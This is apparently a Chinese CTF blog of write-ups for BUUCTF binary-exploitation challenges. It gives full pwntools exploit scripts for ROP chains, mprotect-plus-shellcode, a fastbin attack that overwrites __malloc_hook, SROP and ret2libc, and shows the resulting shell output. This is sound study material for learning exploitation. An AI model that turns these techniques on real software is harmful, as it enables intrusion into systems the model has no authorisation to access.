Y
今天你pwn了嗎
前言:
"二進制太難了", 一起到 buu 開始 刷題吧。這裏 僅記錄下非高分題目的解題思路和知識講解。特別是文章裏的函數,我特意整理了下,希望我能在二進制路上走遠!!!
固定佈局
工具條上設置固定寬高
背景可以設置被包含
可以完美對齊背景圖和文字
以及製作自己的模板
not_the_same_3dsctf_2016
在這之前我們先來看下幾個函數吧:fgets 和fread 函數以及 mprotect 函數。
fgets
函數原型:char * fgets ( char * str, int num, FILE * stream );
函數功能:
從流中讀取字符,並將它們作爲C字符串存儲到str中,直到已讀取(num-1)個字符或到達換行符或到達文件末尾(以先發生的爲準)。
換行符使fgets停止讀取,但是該函數將其視爲有效字符幷包含在複製到str的字符串中。
複製到str的字符後會自動附加一個終止的空字符。
請注意,fgets與gets完全不同:fgets不僅接受流參數,而且還允許指定str的最大大小,並在字符串中包括任何結尾的換行符。
fread
mprotect
然後 我們來看下這題的程序邏輯。gets 輸入後就結束了。
但我們可以看到程序中有個 get_secret()函數,乍一看是後門函數,但並不是。
思路一:
而是 將 flag.txt的內容放到了 bss:0x080ECA2D 地址裏。我們可以通 rop的方式 先執行下 get_secret將flag放入bss段上,然後程序中含有write函數,我們 可以再rop到 write函數上來將flag給輸出出來。我們寫出exp:
拿到 flag:
思路二:我們也可以用shellcode的方式。因爲程序開了NX保護,我們沒辦法把它輸入到棧中去執行shellcode,所以我們看下 bss 段上。
bss段上 可讀可寫,然後程序中也有 mprotect 函數和 read函數 ,所以我們嘗試 ROP的方式先通過mprotect 函數來將 bss段所在的內頁頁 改爲可可讀可寫可執行,然後我們再通過read函數往bss段上寫shellcode,最後將執行流返回到bss即可拿到shell。exp如下:
from pwn import *
from LibcSearcher import *
#context.log_level="debug"
p=process("./not_the_same_3dsctf_2016")
elf=ELF("./not_the_same_3dsctf_2016")
p=remote("node3.buuoj.cn",29610)
#gdb.attach(p,"b *0x80489fb")
mprotect_addr=elf.sym["mprotect"]
print hex(mprotect_addr)
read_plt=elf.sym["read"]
print hex(read_plt)
pop_3_ret=0x080483b8
pop_ret=0x08048b0b
m_start=0x080EB000 #bss ye
bss= 0x080EBF80 #bss
print hex(m_start)
len=0x2000
prot=4+2+1 #(rwx)
#ropper --file not_the_same_3dsctf_2016 --search "pop|ret"
'''
0x080483b8: pop esi; pop edi; pop ebp; ret;
'''
payload_1="a"*0x2D+p32(mprotect_addr)+p32(pop_3_ret)+p32(m_start)+p32(len)+p32(prot) #mprotect(m_start,len,7);
payload_1+=p32(read_plt)+p32(bss+0x400)+p32(0)+p32(bss+0x400)+p32(0x100)#read(0,m_start,100)
p.sendline(payload_1)
raw_input()
payload_2=asm(shellcraft.sh(),arch = 'i386', os = 'linux')# shellcode len is 40
p.sendline(payload_2)
p.interactive()
拿到flag:
babyheap_0ctf_2017
哈哈,沒想到這麼快就到堆題了。我們首先檢查下文件屬性和開啓的相關保護。
保護全開的64位動態鏈接的 elf 程序。因爲開啓了Full RELRO,我們無法 改 函數的got,所以我們可首先考慮通過修改__malloc_hook的方式 爲 onegadget 。
我們先來分析下這個程序吧。main()函數:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v4; // [rsp+8h] [rbp-8h]
v4 = sub_B70(); //v4是用來 結構數組 首地址,通過mmap獲取
while ( 1 )
{
metu(); // puts("1. Allocate");
// puts("2. Fill");
// puts("3. Free");
// puts("4. Dump");
// puts("5. Exit");
// return printf("Command: ");
sub_138C();
switch ( (unsigned __int64)choice_14F4 )
{
case 1uLL:
add_D48((__int64)v4);
break;
case 2uLL:
edit_E7F((__int64)v4);
break;
case 3uLL:
free_F50((__int64)v4);
break;
case 4uLL:
dump_1051((__int64)v4);
break;
case 5uLL:
return 0LL;
default:
continue;
}
}
}
sub_B70()函數:v4是用來結構數組首地址,通過mmap獲取,簡單看下就好:
char *sub_B70()
{
int fd; // [rsp+4h] [rbp-3Ch]
char *addr; // [rsp+8h] [rbp-38h]
__int64 v3; // [rsp+10h] [rbp-30h]
unsigned __int64 buf; // [rsp+20h] [rbp-20h]
unsigned __int64 v5; // [rsp+28h] [rbp-18h]
unsigned __int64 v6; // [rsp+38h] [rbp-8h]
v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
alarm(0x3Cu);
puts("===== Baby Heap in 2017 =====");
fd = open("/dev/urandom", 0);
if ( fd < 0 || read(fd, &buf, 0x10uLL) != 16 )
exit(-1);
close(fd);
addr = (char *)((buf
- 93824992161792LL * ((unsigned __int64)(0xC000000294000009LL * (unsigned __int128)buf >> 64) >> 46)
+ 0x10000) & 0xFFFFFFFFFFFFF000LL);
v3 = (v5 - 3712 * (0x8D3DCB08D3DCB0DLL * (unsigned __int128)(v5 >> 7) >> 64)) & 0xFFFFFFFFFFFFFFF0LL;
if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
exit(-1);
return &addr[v3];
}
程序功能 metu()函數 :
Allocate (add)函數:輸入 size,最大爲 0x1000,然後 calloc(size),因爲是calloc函數,會對申請到的內存進行清零處理。
我們在這裏看以看出每個結構體的結構爲(每個結構體 0x18大小):
放個圖片 便於理解:<br>
Fill (edit)函數:輸入下標index,然後 再輸入 我們 要 填充的content 的 size,注意這裏不是我們在 Allocate (add)寫入的 size,而是重新輸入的size,所以我們在這裏可以出入任意長度的 content,存在堆溢出漏洞!
__int64 __fastcall edit_E7F(__int64 a1)
{
__int64 result; // rax
int index; // [rsp+18h] [rbp-8h]
int content_len; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
index = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )// 16
{
result = *(unsigned int *)(0x18LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = sub_138C(); //漏洞點在這
content_len = result;
if ( (signed int)result > 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(0x18LL * index + a1 + 0x10), content_len);
}
}
}
return result;
}
*************************************************
unsigned __int64 __fastcall sub_11B2(__int64 a1, unsigned __int64 a2)
{
unsigned __int64 v3; // [rsp+10h] [rbp-10h]
ssize_t v4; // [rsp+18h] [rbp-8h]
if ( !a2 )
return 0LL;
v3 = 0LL;
while ( v3 < a2 )
{
v4 = read(0, (void *)(v3 + a1), a2 - v3);
if ( v4 > 0 )
{
v3 += v4;
}
else if ( *_errno_location() != 11 && *_errno_location() != 4 )
{
return v3;
}
}
return v3;
}
free()函數:這裏沒有漏洞。free 掉 chunk 後,對結構體上的所有數據全都清零 。
exp:因爲存在堆溢出,我們可通過輸入來控制下一個chunk的size,於是 我們可通過 fastbin attack中的 chunk extend 來進行泄露libc,和將__malloc_hook上 寫入 onegadhet。
我在 exp 註釋裏,寫下簡單的註釋,方便大家理解和學習。另外,建議大家可以看下這篇文章講的 fastbin attack的幾個經典 方式的詳解:https://blog.csdn.net/Breeze_CAT/article/details/103788698
from pwn import *
context.log_level="debug"
p=process("./babyheap_0ctf_2017")
p=remote("node3.buuoj.cn",27220)
#elf=ELF("./babyheap_0ctf_2017")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(size):
p.sendlineafter("Command: ","1")
p.sendlineafter("Size: ",str(size))
def edit(index,size,content):
p.sendlineafter("Command: ","2")
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Size: ",str(size))
p.sendlineafter("Content: ",content)
def show(index):
p.sendlineafter("Command: ","4")
p.sendlineafter("Index: ",str(index))
def free(index):
p.sendlineafter("Command: ","3")
p.sendlineafter("Index: ",str(index))
add(0x18) #0
add(0x68) #1
add(0x68) #2
add(0x20) #3 # 防止 和 top chunk合併
#gdb.attach(p)
edit(0,0x19,"a"*0x18+"\xe1") #0x70+0x70+1
#將 chunk 1的size 覆蓋爲 chunk 1 的size+chunk 2的size 再 +1
free(1)
# free(1)後 chunk 1 和 chunk 2 當成整體被放進了 unsigned chunk 中
add(0x68) #1
# add(0x68) 將unsigned bin 上的 整體chunk 給分割後 將 chunk 1 申請出來
# 然後 unsigned bin上只有一個 chunk 2,chunk 2 的fd 和bk 都指向 main_arena+0x88的位置
show(2)
# 泄露 libc 以及得到 相關的 函數 地址
p.recvline()
libc_base=u64(p.recv(6).ljust(8,'\x00'))-(0x7f5f083ecb78-0x7f5f08028000)
print "libc_base is "+hex(libc_base)
__malloc_hook=libc_base+libc.symbols['__malloc_hook']
__malloc_hook_0x23=__malloc_hook-0x23
one=[0x45216,0x4526a,0xf02a4,0xf1147] #one_gadget /lib/x86_64-linux-gnu/libc.so.6
#realloc_addr=libc_base+libc.symbols['realloc']
print "__malloc_hook is "+hex(__malloc_hook)
print "__malloc_hook_0x23 is "+hex(__malloc_hook_0x23)
#print "realloc_addr is "+hex(realloc_addr)
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
add(0x68)#4 2
# 將再 unsigned bin 上的 chunk 給申請出來 便是 chunk 4,其實也是 chunk 2.
#gdb.attach(p)
free(4)
# 將 chunk 4(2) 放入 0x70 的fast bin中,但我們仍可通過 chunk 2對其進行控制。
edit(2,8,p64(__malloc_hook_0x23))
# 將 fd 給 edit 爲 __malloc_hook_0x23
add(0x68) #4
#gdb.attach(p)
add(0x68) #5
#申請 兩次 可把 函數 __malloc_hook的 0x70 大的chunk 給申請出來 chunk 5
payload="a"*0x13+p64(libc_base+one[1])
edit(5,0x13+0x8,payload)
#修改 __malloc_hook 爲 onegadget
p.sendlineafter("Command: ","1")
p.sendlineafter("Size: ","32")
#
最後再 執行到 malloc的時候 就會 執行 onegadget,從而拿到shell。
p.interactive()
getshell
[HarekazeCTF2019]baby_rop
這題太簡單了。64位elf程序,有system 和/bin/sh\x00 字符串。
scanf 輸入的偏移是 [rbp-10h]所以我們寫出以下 exp:
拿到shell。
$ python babyrop.py
[+] Starting local process './babyrop': pid 17225
[+] Opening connection to node3.buuoj.cn on port 26886: Done
[*] '/home/yangmutou/\xe6\xa1\x8c\xe9\x9d\xa2/buuctf/100/[HarekazeCTF2019]baby_rop/babyrop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
0x40048c
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
jarvisoj_level0
相比於最初的兩題,這題簡直是小菜啊!ida:
輸入的偏移是 [rbp-80h],我們覆蓋返回地址是 callsystem() 地址 0x400596 就好了。exp:
拿到flag:
[BJDCTF 2nd]one_gadget
64位elf程序,環境爲ubuntu 19.04拖入ida:
***************** //最後一部分 ida 編譯的不是很準確,我們看下彙編:
分析:程序在 init()函數中中 給了我們 printf 的函數地址,我們可通過它得到 libc 加載的基地址,從而可計算出 onegadget 在程序中的真實 內存地址。另外經過上面我在 ida 中的簡單註釋,我們可知道通過scanf 輸入的數據,會被直接調用 ,所以我們輸入 onegadget 可拿到shell。exp如下:
#coding:utf8
from pwn import *
p=process("./one_gadget")
p=remote("node3.buuoj.cn",28449)
elf=ELF("./one_gadget")
libc=ELF("./libc-2.29_64.so")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")#18
p.recvuntil("here is the gift for u:")
a=p.recv(14)
printf_got=int(a,16)
#0x7ffff7a0d000
print hex(printf_got)
printf_libc=libc.symbols['printf']
print hex(printf_libc)
base=printf_got-printf_libc
print hex(base)
#og=[0x4f2c5,0x4f322,0x10a38c] #18
og=[0xe237f,0xe2383,0xe2386,0x106ef8]#19
og=base+og[3]
p.recvuntil("Give me your one gadget:")
#gdb.attach(p)
p.sendline(str(og))
p.interactive()
拿到 flag:
jarvisoj_level2
直接寫exp了:
from pwn import *
#context.log_level="debug"
p=process("./level2")
p=remote("node3.buuoj.cn",26830)
elf=ELF("./level2")
bin_sh=0x0804A024
system=elf.plt['system']
pd="a"*0x88+p32(0xdeadbeef)+p32(system)+p32(0xdeadbeef)+p32(bin_sh)
p.recvuntil("Input:\n")
p.sendline(pd)
p.interactive()
拿到shell:
$ python level2.py
[+] Starting local process './level2': pid 2049
[+] Opening connection to node3.buuoj.cn on port 26830: Done
[*] '/home/yangmutou/\xe6\xa1\x8c\xe9\x9d\xa2/buuctf/100/jarvisoj_level2/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
$ cat flag
flag{6b57cd2a-eee9-43f7-a4d1-59f549f84aef}
ciscn_2019_s_3
這題就很棒了。64位elf 程序,環境ubuntu 18.04而在這之前,我們首先看下 read(),write()的原型:
除此之外我們還要知道一下 syscall 系統調用。 關於這個知識的講解ctf中關於syscall系統調用的簡單分析
大家可以去看下,因爲已經寫過一個較完整的分析了,這裏就簡單總結下 知識乾貨吧:看下這個圖:
以上是維基百科 對system的介紹(基於32 的系統調用):
這裏總結下32位與64位 系統調用的區別:
接着我們分析程序拖入ida:
int __cdecl main(int argc, const char **argv, const char **envp)
{
return vuln();
}
************************************************************
signed __int64 vuln()
{
signed __int64 result; // rax
__asm { syscall; LINUX - sys_read } //read 系統調用
result = 1LL;
__asm { syscall; LINUX - sys_write } //write 系統調用
return result;
}
vuln 這部分我們還是看彙編吧:<br
翻譯下就是我們首先系統調用read函數 往buf(rbp-0x10),最多可 寫入 0x400 字節 數據,然後再調用 write函數將輸入到buf 上的數據給輸出出來。所以很明顯的棧溢出漏洞嘛,
另外程序中還有個 gadgets 函數:
.text:00000000004004D6 public gadgets
.text:00000000004004D6 gadgets proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6 push rbp
.text:00000000004004D7 mov rbp, rsp
.text:00000000004004DA mov rax, 0Fh
.text:00000000004004E1 retn
.text:00000000004004E1 gadgets endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2 mov rax, 3Bh
.text:00000000004004E9 retn
.text:00000000004004E9 ; ---------------------------------------------------------------------------
.text:00000000004004EA db 90h
.text:00000000004004EB ; ---------------------------------------------------------------------------
.text:00000000004004EB pop rbp
.text:00000000004004EC retn
.text:00000000004004EC ; } // starts at 4004D6
我們可以發現這個函數裏面有兩個可以 gadget 即 控制 rax的帶有 ret 的彙編指令片段
mov rax,0Fh // 0Fh 即15 而15 對應的是 sys_rt_sigreturn系統調用
mov rax,3Bh // 3Bh 即 59 而15 對應的是 sys_execve 系統調用
及對應着兩種方式的做法。
第一種 是 通過 __libc_csu_init ROP 去 構造 execve("/bin/sh",0,0) 去拿 shell
第二種 是 通過 SROP 去 構造 execve("/bin/sh",0,0) 去拿 shell
我們 可 想辦法 執行 execve("/bin/sh",0,0) 去拿 shell。<br> 將 sys_execve 的調用號 59 賦值給 rax<br> 將 第一個參數即字符串 "/bin/sh"的地址 賦值給 rdi<br> 將 第二個參數 0 賦值給 rsi<br> 將 第三個參數 0 賦值給 rdx<br>
第一種:因爲程序中 沒有足夠的 gadget可用,“x64 下的 __libc_csu_init 中的 gadgets,這個函數是用來對 libc 進行初始化操作的,而一般的程序都會調用 libc 函數,所以這個函數一定會存在“,這個的話 大家可以 在ctfwiki上具體學習 下,或者在我之前對這個程序的分析 去了解與學習。這裏我寫出 exp:
#coding:utf8
from pwn import *
context.log_level = 'debug'
conn=process("./ciscn_s_3")
vuln_addr=0x4004ED
mov_rax_execv_addr=0x4004E2 #ida中查看
pop_rdi_ret_addr=0x4005a3 #ROPgadget --binary ciscn_s_3 --only 'pop|ret'
pop_rbx_rbp_r12_r13_r14_r15_ret_addr=0x40059A
__libc_csu_init_addr=0x400580 # __libc_csu_init gadget 首地址
syscall_addr=0x400501 #ida中查看
#gdb.attach(conn,'b *0x40052C')
payload1='/bin/sh\x00'*2+p64(vuln_addr)
conn.send(payload1)
conn.recv(0x20)
bin_sh_addr=u64(conn.recv(8))-280
print hex(bin_sh_addr)
payload2='/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15_ret_addr)+p64(0)*2+p64(bin_sh_addr+0x50)+p64(0)*3
payload2+=p64(__libc_csu_init_addr)+p64(mov_rax_execv_addr)
payload2+=p64(pop_rdi_ret_addr)+p64(bin_sh_addr)+p64(syscall_addr)
conn.send(payload2)
conn.interactive()
第二種:直接srop 僞造 sigreturn frame 去 僞造 execve("/bin/sh",0,0) 來 getshell
具體就是 首先利用 mov rax, 0Fh 控制rax爲 15,然後 調用 syscall 即執行了 sigreturn,我們 僞造 sigreturn frame 去 執行 execve("/bin/sh",0,0) 即可
#coding:utf8
from pwn import *
context(arch='amd64', os='linux', log_level = 'DEBUG')#這個注意 一定要說明 內核架構 不然報錯
#context.log_level = 'debug'
conn=process("./ciscn_s_3")
conn=remote('node3.buuoj.cn',26536)
vuln_addr=0x4004ED
mov_rax_sigreturn_addr=0x4004DA
syscall_addr=0x400501
#gdb.attach(conn,'b *0x40052C')
payload1='/bin/sh\x00'*2+p64(vuln_addr)
conn.send(payload1)
conn.recv(0x20)
bin_sh_addr=u64(conn.recv(8))-280
print hex(bin_sh_addr)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = bin_sh_addr
frame.rsi = 0
frame.rdx = 0
#frame.rsp = bin_sh_addr
frame.rip = syscall_addr
payload2='/bin/sh\x00'*2+p64(mov_rax_sigreturn_addr)+p64(syscall_addr)+str(frame)
conn.send(payload2)
conn.interactive()
均可拿到 flag。
[HarekazeCTF2019]baby_rop2
ida:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int len; // eax
char buf[28]; // [rsp+0h] [rbp-20h]
int v6; // [rsp+1Ch] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("What's your name? ", 0LL);
len = read(0, buf, 0x100uLL); // 棧溢出
v6 = len;
buf[len - 1] = 0;
printf("Welcome to the Pwn World again, %s!\n", buf);
return 0;
}
通過printf泄露read的函數地址計算libc的基址,ROP鏈構造system(‘/bin/sh’)
exp:
#coding:utf8
from pwn import *
from LibcSearcher import *
context.log_level="debug"
#p=process("./babyrop2")
p=remote("node3.buuoj.cn",27757)
elf=ELF("./babyrop2")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec =False)
print "*****************************************************info"
printf_plt=elf.plt['printf']
read_got=elf.got['read']
main_addr=0x400636
fmt_str=0x400770 # %s
pop_rdi_ret=0x400733 #ropper --file babyrop2 --search "pop|ret"
pop_rsi_r15_ret=0x400731
print "*****************************************************leak"
pd="a"*0x20
pd+=p64(0xdeadbeef)
pd+=p64(pop_rdi_ret)+p64(fmt_str)+p64(pop_rsi_r15_ret)+p64(read_got)+p64(0)
pd+=p64(printf_plt)+p64(main_addr)
#gdb.attach(p)
p.recvuntil("What's your name? ")
p.sendline(pd)
read_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc=LibcSearcher("read",read_addr)
libc_base=read_addr-libc.dump("read")
system_addr=libc_base+libc.dump("system")
str_bin_sh=libc_base+libc.dump("str_bin_sh")
print "libc_base is "+hex(libc_base)
print "system_addr is "+hex(system_addr)
print "str_bin_sh is "+hex(str_bin_sh)
print "***************************************************** pwn"
p.recvuntil("What's your name? ")
pd2="a"*0x20
pd2+=p64(0xdeadbeef)
pd2+=p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
p.sendline(pd2)
p.interactive()
成功 可以 拿到 shell。
ciscn_2019_ne_5
這道題,感覺 學到了一個 騷姿勢。如果程序中 沒有 "/bin/sh\x00" 或者 "sh",但如果程序中 有 含有這些字符串的 長字符串,我們可以截取然後利用。學到了。我們首先看下 程序:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // [esp+0h] [ebp-100h]
char src[4]; // [esp+4h] [ebp-FCh]
char v5; // [esp+8h] [ebp-F8h]
char s1[4]; // [esp+84h] [ebp-7Ch]
char v7; // [esp+88h] [ebp-78h]
int *v8; // [esp+F4h] [ebp-Ch]
v8 = &argc;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fflush(stdout);
*(_DWORD *)s1 = '0';
memset(&v7, 0, 0x60u);
*(_DWORD *)src = '0';
memset(&v5, 0, 0x7Cu);
puts("Welcome to use LFS.");
printf("Please input admin password:");
__isoc99_scanf("%100s", s1); // 以字符串 傳入
if ( strcmp(s1, "administrator") )
{
puts("Password Error!");
exit(0);
}
puts("Welcome!");
while ( 1 )
{
puts("Input your operation:");
puts("1.Add a log.");
puts("2.Display all logs.");
puts("3.Print all logs.");
printf("0.Exit\n:");
__isoc99_scanf("%d", &v3);
switch ( v3 )
{
case 0:
exit(0);
return;
case 1:
AddLog((int)src);
break;
case 2:
Display(src);
break;
case 3:
Print();
break;
case 4:
GetFlag(src);
break;
default:
continue;
}
}
}
***********************************************************
int __cdecl AddLog(int a1)
{
printf("Please input new log info:");
return __isoc99_scanf("%128s", a1);
}
**********************************************************
int __cdecl Display(char *s)
{
return puts(s);
}
************************************************************
int Print()
{
return system("echo Printing......"); //這裏有 system函數
}
************************************************************
int __cdecl GetFlag(char *src)
{
char dest[4]; // [esp+0h] [ebp-48h]
char v3; // [esp+4h] [ebp-44h]
*(_DWORD *)dest = 48;
memset(&v3, 0, 0x3Cu);
strcpy(dest, src); //這裏可以存在棧溢出漏洞
return printf("The flag is your log:%s\n", dest);
}
*******************************************************
在GetFlag 函數裏是存在 棧溢出漏洞的。dest 的偏移 是 [ebp-48h],同時我們還知道 system的地址,而只要我們有 "/bin/sh\x00"或者"sh"的字符串,就可以通過 AddLog 來輸入我們的payload 就可順利拿到 shell。
payload="a"*0x48+p32(pop_ret)+p32(system)+p32(0xdeadbeef)+p32(binsh)
而 binsh的 地址是從何而來的呢,我們ida 搜索下字符串:<br>
可以看到 有個 "fflush"字符串,我們 0x80482E6 + 0x4 就可以得到 "sh"字符串的地址。學到了,學到了。exp如下:
可以成功拿到shell。
ciscn_2019_n_5
這個,沒有開啓任何保護,首先想到shellcode。ida:
額,直接寫腳本了。
jarvisoj_level2_x64
我們看下ida 吧,這個屬於很簡單了。遠不及上面的任意一題簡單。
我們可以發現 程序中 有system 和 "/bin/sh"字符串,而有存在棧溢出漏洞。構造以下 payload 即可 拿到 shell。
pd="a"*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(system_plt)
exp:
pwn2_sctf_2016
這一題 是涉及到 整形溢出的 題。
ida:
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
return vuln();
}
******************************************************************
int vuln()
{
char nptr; // [esp+1Ch] [ebp-2Ch]
int v2; // [esp+3Ch] [ebp-Ch]
printf("How many bytes do you want me to read? ");
get_n((int)&nptr, 4u);
v2 = atoi(&nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
get_n((int)&nptr, v2);
return printf("You said: %s\n", &nptr);
}
******************************************************************
int vuln()
{
char nptr; // [esp+1Ch] [ebp-2Ch]
int v2; // [esp+3Ch] [ebp-Ch]
printf("How many bytes do you want me to read? ");
get_n((int)&nptr, 4u);
v2 = atoi(&nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
get_n((int)&nptr, v2);
return printf("You said: %s\n", &nptr);
}
我們來分析下程序。首先 我們輸入下要輸入的 size然後 再輸入 size 字節的 數據,最後程序會輸出 我們的 輸入的 數據。
而這題的漏洞在 哪呢,我們首先知道 nptr 的偏移是 ebp-0x2C ,如果我們 要 覆蓋 return addr 上的數據,至少需要 能輸入0x2c+4+4 字節數據.而 這樣的話 有 繞不過 第二個 if ,然而,我們看下int __cdecl get_n(int a1, unsigned int a2) 函數。這個 a2 就是我們開始輸入的 要輸入的 size 大小,而如果我們輸入的 是負數,那麼,負數一定是 < 32 的,而在int __cdecl get_n 函數中,它傳參時是以無符號整數 傳得參,即相當於a2是一個十分大的數。於是程序便會存在棧溢出漏洞。
程序中函數 printf 函數,我們通過它輸出printf_got 地址,從泄露libc,然後返回到main 地址,程序重新執行,然後再將return addr 處給覆蓋成 system ,另外控制下rdi爲"/bin/sh"即可 。exp如下:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p = process('./pwn2_sctf_2016')
p = remote('node3.buuoj.cn', 25208)
elf = ELF('./pwn2_sctf_2016')
fmt_str = 0x080486F8
printf_plt = elf.plt['printf']
main_addr = elf.sym['main']
printf_got = elf.got['printf']
p.recvuntil('read? ')
p.sendline('-1')
p.recvuntil('data!\n')
payload = 'a'*0x30 + p32(printf_plt)+p32(main_addr)+p32(fmt_str)+p32(printf_got)
p.sendline(payload)
p.recvuntil('said: ')
p.recvuntil('said: ')
printf_addr = u32(p.recv(4))
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
system = libc_base + libc.dump('system')
str_bin = libc_base + libc.dump('str_bin_sh')
p.recvuntil('read? ')
p.sendline('-1')
p.recvuntil('data!\n')
p.sendline('a'*0x30 + p32(system) + p32(main_addr) + p32(str_bin))
p.interactive()
師傅們,今天你pwn了嘛!!!
高級棧溢出技術—ROP實戰(fluff)
通過該實驗學習ROP概念及其思路,瞭解高級棧溢出時需要注意的事項,並掌握解決方法,同時通過練習給出的關卡來增強實踐能力。
http://www.hetianlab.com/expc.do?ec=ECIDd982-88e7-4338-9b86-c88c86e92a4e
滲透測試訓練營
3個月掌握崗位核心技能
掃碼報名